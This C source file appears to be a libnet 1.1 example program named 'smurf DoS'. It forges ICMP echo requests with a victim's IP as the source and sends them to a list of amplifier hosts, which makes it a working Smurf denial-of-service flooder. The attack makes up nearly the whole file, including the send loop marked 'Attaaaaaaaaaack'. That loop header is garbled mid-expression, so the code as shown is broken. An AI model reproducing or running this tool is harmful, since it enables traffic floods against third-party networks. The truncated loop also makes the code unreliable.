/*

 *  $Id: smurf.c,v 1.2 2004/01/03 20:31:01 mike Exp $

 *

 *  libnet 1.1

 *  Build Smurf packets

 *

 *  Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>

 *  All rights reserved.

 *

 * Redistribution and use in source and binary forms, with or without

 * modification, are permitted provided that the following conditions

 * are met:

 * 1. Redistributions of source code must retain the above copyright

 *    notice, this list of conditions and the following disclaimer.

 * 2. Redistributions in binary form must reproduce the above copyright

 *    notice, this list of conditions and the following disclaimer in the

 *    documentation and/or other materials provided with the distribution.

 *

 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND

 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE

 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE

 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL

 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS

 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY

 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF

 * SUCH DAMAGE.

 *

 */

#if (HAVE_CONFIG_H)

#include "../include/config.h"

#endif

#include "./libnet_test.h"

void usage(char *);

int

main(int argc, char **argv)

{

  libnet_t *l = NULL;

  u_long target_ip = 0, ampli_ip = 0;

  u_long count = 10;

  int i, c;

  libnet_ptag_t t;

  char *device = NULL;

  char *pTarget = NULL;

  char errbuf[LIBNET_ERRBUF_SIZE];

  char label[LIBNET_LABEL_SIZE];

    printf("libnet 1.1 smurf DoS: ICMP[RAW using context queue]\n");

  while((c = getopt(argc, argv, "t:i:c:")) != EOF)

  {

    switch (c)

    {

      case 't':

	pTarget = optarg;

	break;

      case 'i':

	device = optarg;

	break;

      case 'c':

	count = strtoul(optarg, 0, 10);

	break;

    }

  }

  if (optind == argc) {

    fprintf(stderr, "No amplifier given.\n");

    usage(argv[0]);

    exit (EXIT_FAILURE);

  }

  if (!pTarget) {

    fprintf(stdout, "No target given.\n");

    usage(argv[0]);

    exit (EXIT_FAILURE);

  }

  if ((target_ip = libnet_name2addr4(l, pTarget, LIBNET_RESOLVE)) == -1)

  {

    fprintf(stderr, "Bad target IP address: %s\n", pTarget);

    exit(EXIT_FAILURE);

  }

  /* Create a context for each amplifier */

  for (i = 0; optind < argc; optind++) {

    printf ("Adding amplifier %s\n", argv[optind]);

    l = libnet_init(

	      LIBNET_RAW4,                  /* injection type */

	      device,                       /* network interface */

	      errbuf);                      /* errbuf */

    if (l == NULL)

    {

      fprintf(stderr, "libnet_init() failed: %s", errbuf);

      exit(EXIT_FAILURE);

    }

    if ((ampli_ip = libnet_name2addr4(l, argv[optind], LIBNET_RESOLVE)) == -1)

    {

      fprintf(stderr, "Bad destination IP address: %s\n", argv[optind]);

      exit(1);

    }

    /* build the packet */

    t = libnet_build_icmpv4_echo(

          ICMP_ECHO,                            /* type */

	  0,                                    /* code */

	  0,                                    /* checksum */

	  0x42,                                 /* id */

	  0x42,                                 /* sequence number */

	  NULL,                                 /* payload */

	  0,                                    /* payload size */

	  l,                                    /* libnet handle */

	  0);

    if (t == -1)

    {

      fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));

      goto bad;

    }

    t = libnet_build_ipv4(

          LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H,   /* length */

          0,                                    /* TOS */

          0x42,                                 /* IP ID */

          0,                                    /* IP Frag */

          64,                                   /* TTL */

          IPPROTO_ICMP,                         /* protocol */

          0,                                    /* checksum */

          target_ip,                            /* source IP */

          ampli_ip,                             /* destination IP */

          NULL,                                 /* payload */

          0,                                    /* payload size */

          l,                                    /* libnet handle */

          0);

    if (t == -1)

    {

        fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));

        goto bad;

    }

    /* and finally, put it in the arena */

    snprintf(label, sizeof(label)-1, "echo%d", i);

    if (libnet_cq_add(l, label) == -1)

    {

      fprintf(stderr, "add error: %s\n", libnet_geterror(l));

      goto bad;

    }

  } /* for (optind < argc) */

  /* Attaaaaaaaaaack */

    for_each_context_in_cq(l) {

    /*

     *  Write it to the wire.

     */

    for (i = 0; i

      c = libnet_write(l);

      if (c == -1)

      {

	fprintf(stderr, "Write error (pkt #%d): %s\n", i, libnet_geterror(l));

	goto bad;

      }

      else

      {

	fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);

      }

    }

  }

  libnet_cq_destroy();

  return (EXIT_SUCCESS);

bad:

  libnet_cq_destroy();

  libnet_destroy(l);

  return (EXIT_FAILURE);

}

void

usage(char *name)

{

  fprintf(stderr, "usage: %s -t targe_ip [-i iface] [-c count=10] amplifiers\n ", name);

}

/* EOF */